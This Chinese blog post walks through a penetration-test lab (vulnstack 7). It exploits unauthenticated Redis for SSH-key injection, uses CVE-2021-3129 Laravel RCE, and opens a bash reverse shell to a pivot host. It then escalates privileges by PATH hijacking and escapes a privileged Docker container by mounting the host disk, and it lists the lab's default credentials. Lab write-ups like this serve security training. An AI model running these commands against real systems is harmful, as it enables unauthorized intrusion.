红日靶场vulnstack 7靶机的测试报告[细节](一)
目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Redis未授权访问漏洞获取web1靶机系统权限
3、获取docker靶机系统权限
①Laravel框架漏洞利用getshell
②Laravel主机的提权&&docker容器逃逸
提权
Docker逃逸
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.128)
靶 机:
Ubuntu-web1[192.168.52.10(仅主机的52网段,配置好的固定IP)、192.168.200.129(nat网卡)];
Ubuntu-web2[192.168.52.20(仅主机的52网段,配置好的固定IP)、192.168.93.10(仅主机的93网段,配置好的固定IP)];
Win7-PC1[192.168.52.30(仅主机的52网段,配置好的固定IP)、192.168.93.20(仅主机的93网段,配置好的固定IP)];
WinServer-DC(192.168.93.30,仅主机的93网段,配置好的固定IP);
Win7-PC2(192.168.93.40,仅主机的93网段,配置好的固定IP)。
密码信息(默认密码):
- Ubuntu 1:web/web2021
- Ubuntu 2:ubuntu
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
通达OA账户:
admin:admin657260
2、注意事项
- 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务。
- Ubuntu 1需要启动nginx服务:
redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
- Ubuntu 2需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
- Win 7-PC1需要启动通达OA和nginx(否则外部访问不到):
C:\MYOA\bin\AutoConfig.exe
C:\MYOA\nginx\OfficeNginx.exe
而且,需要启用网络发现!!,要ubuntu1和2能ping到这台主机才可以
3、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)、ssh-kergen(生成ssh公钥私钥)、python3(临时web服务)
Redis Insight(redis数据库管理)、MDUT(数据库综合利用工具利用)、mobaxterm(进行ssh连接)、burp suite(发包测试)、CVE-2021-3129-EXP(漏洞利用poc)、godzilla v2.96(webshell连接)、中国蚁剑(webshell连接)、cdk(docker漏洞检测工具)
测试网址:http://192.168.200.129:81
后面两篇文章地址:
红日靶场vulnstack 7靶机的测试报告[细节](二)-CSDN博客文章浏览阅读572次,点赞24次,收藏10次。基于渗透测试流程测试vulnstack 7靶机;msf渗透;metasploit;meterpreter;内网渗透;通达OA;文件上传+文件包含;构造RCE漏洞。https://blog.csdn.net/2301_79698171/article/details/144503412?sharetype=blogdetail&sharerId=144503412&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118红日靶场vulnstack 7靶机的测试报告[细节](三)-CSDN博客文章浏览阅读322次,点赞11次,收藏5次。基于渗透测试流程渗透vulnstack 7靶场;二层内网代理;永恒之蓝;ms17-010;psexec上线;ipc通道;内网信息搜集;ATT&CK。
https://blog.csdn.net/2301_79698171/article/details/144508445?spm=1001.2014.3001.5501
二、测试目的
通过web渗透,利用redis和laravel的漏洞进行测试获取两台ubuntu主机的系统权限。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
web靶机IP:192.168.200.129
端口和服务探测
nmap -sN -A -p- -T4 192.168.200.129
靶机开启了22端口(ssh服务)、80端口(web服务)、81端口(web服务)、6379端口(redis服务)
目录扫描
dirsearch -u http://192.168.200.129:81 -i 200,301 --exclude-sizes=0B
扫到了两个网页,但都没什么信息
2、Redis未授权访问漏洞获取web1靶机系统权限
信息搜集阶段发现靶机开启了redis的默认端口6379,nmap也识别该服务正是redis
使用redis数据库管理工具进行连接
发现直接就可以连接上去,没有认证
在控制台输入命令也有回显
info
在Redis 数据库服务存在未授权访问漏洞的情况下,常见的获取服务器 shel的方法一般有写SSH-keygen、写计划任务反弹shell、写webshell、利用主从复制获取shell等方式.可以通过Redis Insight 操作Redis手工获取服务器shell,也可以使用工具进行自动化获取shell。
使用MDUT数据库综合利用工具利用
项目地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization ToolsMDUT - Multiple Database Utilization Tools. Contribute to SafeGroceryStore/MDUT development by creating an account on GitHub.https://github.com/SafeGroceryStore/MDUT
先进行数据库连接
成功进行连接
该工具可以一键替换ssh公钥
需要先使用kali生成一份ssh公钥和私钥
ssh-keygen -t rsa
然后复制/root/.ssh/id_rsa.pub的内容到利用工具的公钥栏
cat /root/.ssh/id_rsa.pub
直接写入
靶机是开启了22端口的ssh服务的,接下来使用私钥进行ssh连接
私钥位置:/root/.ssh/id_rsa
复制一份出来即可,使用mobaxterm直接进行ssh私钥连接
可以看到成功连接,root权限
查看IP
外网IP:192.168.200.129
内网IP:192.168.52.10
3、获取docker靶机系统权限
需要注意的是,这个laravel框架是从内网主机映射到web主机的81端口的,因此这个docker容器来自于内网主机。
别问为什么,我也是踩了几个小时的坑才发现。
①Laravel框架漏洞利用getshell
访问web主页
可以看到laravel的版本是8.29.0 php版本是7.4.14
查找laravel框架的历史漏洞
https://www.seebug.org/search/?keywords=laravel
漏洞编号:SSV-99098
CVE-2021-3129
这个漏洞影响范围包括8.29.0版本
发送漏洞检测数据包poc,查看漏洞是否存在
POST / HTTP/1.1
Host:192.168.200.129:81
Content-Type: application/json
Content-Length: 167
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": (
"variableName": "username",
"viewFile": "xxxxxxx"
}
}
发送数据包,返回如下页面:
这表示目标laravel开启了debug模式,存在RCE漏洞
漏洞利用exp可以在github下载:
GitHub - SecPros-Team/laravel-CVE-2021-3129-EXPContribute to SecPros-Team/laravel-CVE-2021-3129-EXP development by creating an account on GitHub.https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
使用这个exp,打开cmd,输入url地址并运行exp
python laravel-CVE-2021-3129-EXP.py http://192.168.200.129:81
可以看到生成了webshell地址,这个使用godzilla(哥斯拉) v2.96进行连接
必须使用godzilla 2.96版本连接,4.01版就连不上了
查看靶机信息,发现靶机是linux系统,且有dockerenv文件
whoami
find / -name .dockerenv
确认是docker环境
cat /proc/self/cgroup
会列出当前docker容器ID信息
Docker容器中执行hostname命令,回显结果应与容器ID匹配
hostname
结果与容器ID前面12位一致,可以确认当前环境为docker环境
②Laravel主机的提权&&docker容器逃逸
提权
通过redis未授权漏洞,已经获取了web主机的root权限,尝试将docker的shell弹到web主机上。
在web主机开启监听
echo '#!/bin/bash\nbash -i >& /dev/tcp/192.168.52.10/6666 0>&1' > test.sh
bash test.sh
成功获取反弹shell,laravel框架的主机IP:192.168.52.20
通过laravel的RCE漏洞获取的webshell只是www-data权限,进行docker逃逸前要先提权
查找suid权限文件发现,jobs家目录有一个shell文件是suid权限
find / -perm -4000 -ls 2>/dev/null
执行shell文件,发现调用了ps命令
/home/jobs/shell
使用环境变量提权,构造一个ps命令调用/bin/bash,这样运行shell文件调用ps命令时就会以root身份执行/bin/bash了
echo '/bin/bash' > /tmp/ps
添加tmp目录到环境变量首位,这样执行命令会优先在tmp目录找命令执行
echo $PATH
export PATH="/tmp:$PATH"
echo $PATH
再次运行shell文件,验证权限,提权成功!
/home/jobs/shell
获取交互式shell
SHELL=/bin/bash script -q /dev/null
Docker逃逸
使用mobaxterm自带的网络扫描工具看一下
可以看到靶机开启了ssh服务
先上传cdk到web主机,并在web主机使用python开启临时web服务
python3 -m http.server 8888
在docker主机使用curl命令下载cdk
curl http://192.168.52.10:8888/cdk_linux_amd64 --output cdk
赋予文件执行权限并运行
chmod +x cdk
./cdk evaluate --full
可以看到特权模式是打开的,可以将物理机的文件挂载到docker容器进行利用
挂载命令:
mkdir /taoyi
mount /dev/sda1 /taoyi
cd /taoyi && ls -la
这样就会将物理机的文件挂载到docker容器
可以利用替换ssh公钥文件,实现ssh登录docker主机的物理机
.ssh目录(权限700);私钥权限600;~/.ssh/authorized_keys文件(权限600)
cd root
mkdir .ssh && chmod 700 .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCPIBEKJ+XPb3kENnFCySEV95FPT31k3Qc0o+zJHPpC7Rpna71oWow4mCo37AunRQ09pMTwfc9cWMLd6ulc0DpPK4IaZ0o42Gb0Dmb/TA8sxroCUPfS95ExkvKbAgy+M4IbJWs+UOMHez4keF4JUFaLaEfsE9587KiaOLBb3PgZ7CdKkUwMpCAnKyn78P483HRMzIgRjddjpmWMylilyA3qpDgezienPF7T/1BMfAHPYsJEF58vSv+j6Lt73z5KvmxcV/XXuIvna4WTQJjLe9HGeaHZnKTrxPNxQhxwvnh1/oS+28VvivRhPUINr9qXewwYJRec9JGkOjBdVH1tDemzqY7qbtZ1277Lpyesf6Z/gbGDj3PZr0ahzOq6PD+jmlhT7eSaKvc4pYXsZ6fZ6Ii6Gq0wtHSzUPM/E/IJB6y/d0EfbvzWkIX7/DoyeFO9DhW5UAHuCvyaBm9ONVy0fBcJUJcCUhcLQUs7GEzcjzpGzkf+/eclz4JAyYrnELkkzUU= root@hacker" > .ssh/authorized_keys
chmod 600 .ssh/authorized_keys
私钥上传到web主机上,并赋予600权限
chmod 600 id_rsa
在web主机进行ssh连接到内网docker物理机
ssh root@192.168.52.20 -i id_rsa
成功连接!
这台机器也是两张网卡:
内网1:192.168.52.20
内网2:192.168.93.10
四、结论
redis未授权漏洞危害很大,可以直接无密码登录进行操作。laravel框架的历史版本漏洞也有很多漏洞可以利用。web服务器将内网主机的docker容器映射到了自身端口,允许外部访问。docker容器以特权模式启动时,可以进行docker逃逸。
这个靶场共五台主机,两层内网架构,都放在一篇文章的话,有些冗杂,分成三篇发送。
相关文章:

红日靶场vulnstack 7靶机的测试报告[细节](一)
目录 一、测试环境 1、系统环境 2、注意事项 3、使用工具/软件 二、测试目的 三、操作过程 1、信息搜集 2、Redis未授权访问漏洞获取web1靶机系统权限 3、获取docker靶机系统权限 ①Laravel框架漏洞利用getshell ②Laravel主机的提权&&docker容器逃逸 提权…...

ubuntu+ros新手笔记(二):古月·ROS2入门21讲学习笔记
系统ubuntu22.04 ros2 humble 按照如下视频教程学习的:【古月居】古月ROS2入门21讲 | 带你认识一个全新的机器人操作系统 此处仅记录我报错的地方,以及相应的解决方案,没有出错的略过! 对应的古月居ROS2入门21讲源码下载地址&a…...

Harmonyos之深浅模式适配
Harmonyos之换肤功能 概述实现原理颜色适配颜色资源配置工具类编写界面代码编写适配效果 概述 深色模式(Dark Mode)又称之为暗色模式,是与日常应用使用过程中的浅色模式(Light Mode)相对应的一种UI主题。 换肤功能应…...

牛客网 SQL2查询多列
SQL2查询多列 select device_id,gender,age,university //查询哪些字段 from user_profile //从哪个表中查找 每日问题 C 中面向对象编程如何处理异常? 在C中,面向对象编程(OOP)处理异常主要通过异常处理机制来实现。C 提供了…...

Angular由一个bug说起之十二:网页页面持续占用CPU过高
随着网络日益发达,网页的内容也更加丰富,形式也更加多样化。而随之而来的性能问题也不容小觑。这篇文章我会根据我在实践中遇到的一个问题来总结,我在面对性能问题的一些解决步骤,希望能对大家有所启发。 查找问题原因 我接触的…...

【从零开始入门unity游戏开发之——C#篇05】转义字符、@处理多行文本或者不使用转义字符、随机数
文章目录 一、转义字符1、什么是转义字符?2、常见的转义字符3、总结 二、使用处理多行文本或者不使用转义字符1、多行字符串2、不使用转义字符 三、随机数1、Random.Next()生成随机整数示例:生成一个随机整数生成指定范围内的随机整数 2、Random.NextSin…...

我们来对接蓝凌OA --报文格式
题记 数智化办公专家、国家高新技术企业、知识管理国家标准制定者、信创供应商10强…等等,这些和咱们有关系吗!!不好意思,走错片场了,刚和项目经理在甲方那边吹牛B想想刚刚的大饼,看看支付宝余额ÿ…...

旅游系统旅游小程序PHP+Uniapp
旅游门票预订系统,支持景点门票、导游产品便捷预订、美食打卡、景点分享、旅游笔记分享等综合系统 更新日志 V1.3.0 1、修复富文本标签 2、新增景点入驻【高级版本】3、新增门票核销【高级版】4、新增门票端口【高级版】...

Pytest-Bdd-Playwright 系列教程(15):背景(Background)
Pytest-Bdd-Playwright 系列教程(15):背景(Background) 前言一、什么是背景(Background)二、特性文件三、测试脚本四、运行测试总结 前言 在测试的过程中,我们往往会遇到这样的问题&…...

ionic V6 安装ios所需
npm install capacitor/ios添加ios平台 ruby要求3.0以上 rvm use ruby-3.1.0 --default npx cap add ios打开xcode看看创建的项目 npx cap open ios没有capacitor指定的位置, 估计之前pod(cocoapods)安装搞得Ruby环境很乱了......cocoapods整的我麻了... App/App/capacitor…...

3d模型展示-初探
由于工作原因,近一年没怎么写代码,有朋友问你做过3D模型展示吗,之前都是做以vue为框架做定制业务,这次抽时间试试3d模型展示。 软件功能 使用ThreeJS框架实现加载GLB模型,并添加动画效果,实现3d展示模型。…...

OpenLinkSaas 2025年1月开发计划
先来看看OpenLinkSaas的大目标 在OpenLinkSaas的产品目标中,让开发人员更加方便的使用云资源是目标之一。通过各大云厂商的API,来可视化云上基础设施的数据是远远不够的。我们准备在2025年1月份增加方便管理和运营研发场景下服务器的能力。 这部分的功能…...

C# 用封装dll 调用c++ dll 使用winapi
这里用c net 封装winapi函数 pch.h // pch.h: 这是预编译标头文件。 // 下方列出的文件仅编译一次,提高了将来生成的生成性能。 // 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。 // 但是,如果此处列出的文件中的任何一个…...

XML基础学习
参考文章链接: XML基础学习 在w3school看到了XML的教程,想到以前工作学习中也接触到了XML,但只是简单搜索了解了下,没有认真去学习XML的基础,所以现在认真看下其基础部分,并写篇博客作为笔记记录下。 XML 简介 XML 被设计用来传输和存储数据。 什么是 XML? XML 指可…...

Jmeter直连数据库,jar包下载
运行报错信息:jmeter连接mysql异常:Cannot load JDBC driver class ‘com.mysql.jdbc.Driver‘ 1、下载地址: https://mvnrepository.com/artifact/mysql/mysql-connector-java/ 2、将下载好的jar包 (我的是:mysql-con…...

Unity读取、新建Excel表格
把dll资源解压后,全部导入到unity中的Plugins文件下面 资源放在标题下方,可以自行下载 使用教程 引入命名空间 using SimpleExcel;。这个命名空间下主要有两个类:WorkBook和Sheet。WorkBook用于对整个excel文件的操作,如创建、打开…...

智能高效的IDE GoLand v2024.3全新发布——支持最新Go语言
GoLand 使 Go 代码的阅读、编写和更改变得非常容易。即时错误检测和修复建议,通过一步撤消快速安全重构,智能代码完成,死代码检测和文档提示帮助所有 Go 开发人员,从新手到经验丰富的专业人士,创建快速、高效、和可靠的…...

OpenCV相机标定与3D重建(21)投影矩阵分解函数decomposeProjectionMatrix()的使用
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 将投影矩阵分解为旋转矩阵和相机内参矩阵。 cv::decomposeProjectionMatrix 是 OpenCV 库中的一个函数,用于将投影矩阵(…...

Flink State面试题和参考答案-(下)
如何监控 Flink 作业的状态大小? 监控 Flink 作业的状态大小是确保作业性能和稳定性的重要方面。以下是一些监控状态大小的方法: 使用 Flink Web UI: Flink 提供了一个 Web 用户界面,可以展示作业的当前状态大小,包括每个操作符…...

111.【C语言】数据结构之二叉树的销毁函数
目录 1.知识回顾 2.分析 3.代码 后序遍历销毁(最简洁) 前序遍历销毁(不推荐) 中序遍历销毁(不推荐) 4.将函数嵌入main函数中执行 1.知识回顾 106.【C语言】数据结构之二叉树的三种递归遍历方式 2.分析 销毁二叉树需要按照一定的顺序去销毁,例如:先销毁根还是先销毁根…...

[论文阅读] |智能体长期记忆与反思
写在前面:10月份的时候,联发科天玑9400发布,搭载这款旗舰 5G 智能体 AI 芯片的荣耀MagicOS9.0实现了一句话让手机自动操作美团点咖啡。很快商场实体店里便能看到很多品牌手机已经升级为智能体语音助手。下一步,这些智能体或许便能…...

【Trouble Shooting】Oracle ADG hung,出现ORA-04021
异常问题: 突然收到告警,ADG实例状态异常。 环境: 版本:Oracle 11.2.0.4.201020 状态:Active Dataguard 问题: 查看Oracle实例alert日志,发现有异常报错: Thu Dec 12 22:15:23 …...

基于springboot的招聘系统
文章目录 项目介绍主要功能截图:部分代码展示设计总结项目获取方式🍅 作者主页:超级无敌暴龙战士塔塔开 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题库【关注我,都给你】 🍅文末获取源码联系🍅 项目介绍 基于springboot的招聘系统,java项目。 e…...

国科大智能设备安全-APK逆向分析实验
APK逆向分析实验 使用APK常用逆向分析工具,对提供的移动应用程序APK文件进行逆向分析,提交逆向后代码和分析报告。具体任务如下: 任务一:安装并熟悉Apktool、Jadx等APK常用逆向工具的使用方法,对提供的Facebook Updat…...

使用SpaceDesk实现iPad成为电脑拓展屏(保姆级教程)
使用SpaceDesk实现iPad成为电脑拓展屏 在官网下载了最新的Windows和Android版本软件,时间:2024.10.23 22:36 https://lxhyouth.lanzouv.com/b0fov5nla 密码:lxhyouth SpaceDesk是一个开源的软件, 所以说对学生和平民用户非常的友好, 连接后的画质也非…...

Unity UI Button 事件优先级调整技术方案
Unity UI Button 事件优先级调整技术方案 在 Unity 项目开发过程中,针对 UI Button 的事件执行顺序控制是一个常见需求。本文详细阐述两种将新添加事件置于第一个执行位置的方法,旨在为开发者提供全面且专业的技术参考。 一、基于反射机制的事件插入方…...

算法训练营day1 | 704二分查找,27移除元素, 34, 35
已经找到工作,但希望再试试春招,距离春招还剩两个月,加油。 这两道题都刷过很多遍了,没什么好说的直接过。 704 本以为刷了很多次没想到还是做错了,有些小细节要注意。 这里是迭代式的,函数式的也不难。 …...

66 基于单片机的太阳能充电、温度检测、档位PWM调速系统
所有仿真详情导航: PROTEUS专栏说明-CSDN博客 目录 一、主要功能 二、硬件资源 三、主程序编程 四、资源下载 一、主要功能 基于52单片机,采用DS18B20温度传感器检测温度,采用滑动变阻器连接ADC0832数模转换器模拟电量,采用…...

RK3576 Android14,内存大于4G时UVC应用无法申请内存
最近有个项目需要将Linux虚拟成UVC摄像头,开发过程中遇到一个奇怪的事情,通过V4l2框架接口申请内存时,相同的板子,只是内存一个4G一个8G。4G的内存可以申请成功,8G就不行。提示“内存不足” 内存更大反而内存不足&…...

12.12 深度学习-卷积的注意力机制-通道注意力SENet
# 告诉模型训练的时候 对某个东西 给予额外的注意 额外的权重参数 分配注意力 # 不重要的就抑制 降低权重参数 比如有些项目颜色重要 有些是形状重要 # 通道注意力 一般都要比较多的通道加注意力 # SENet # 把上层的特征图 自动卷积为 1X1的通道数不变的特征图 然后给每一个…...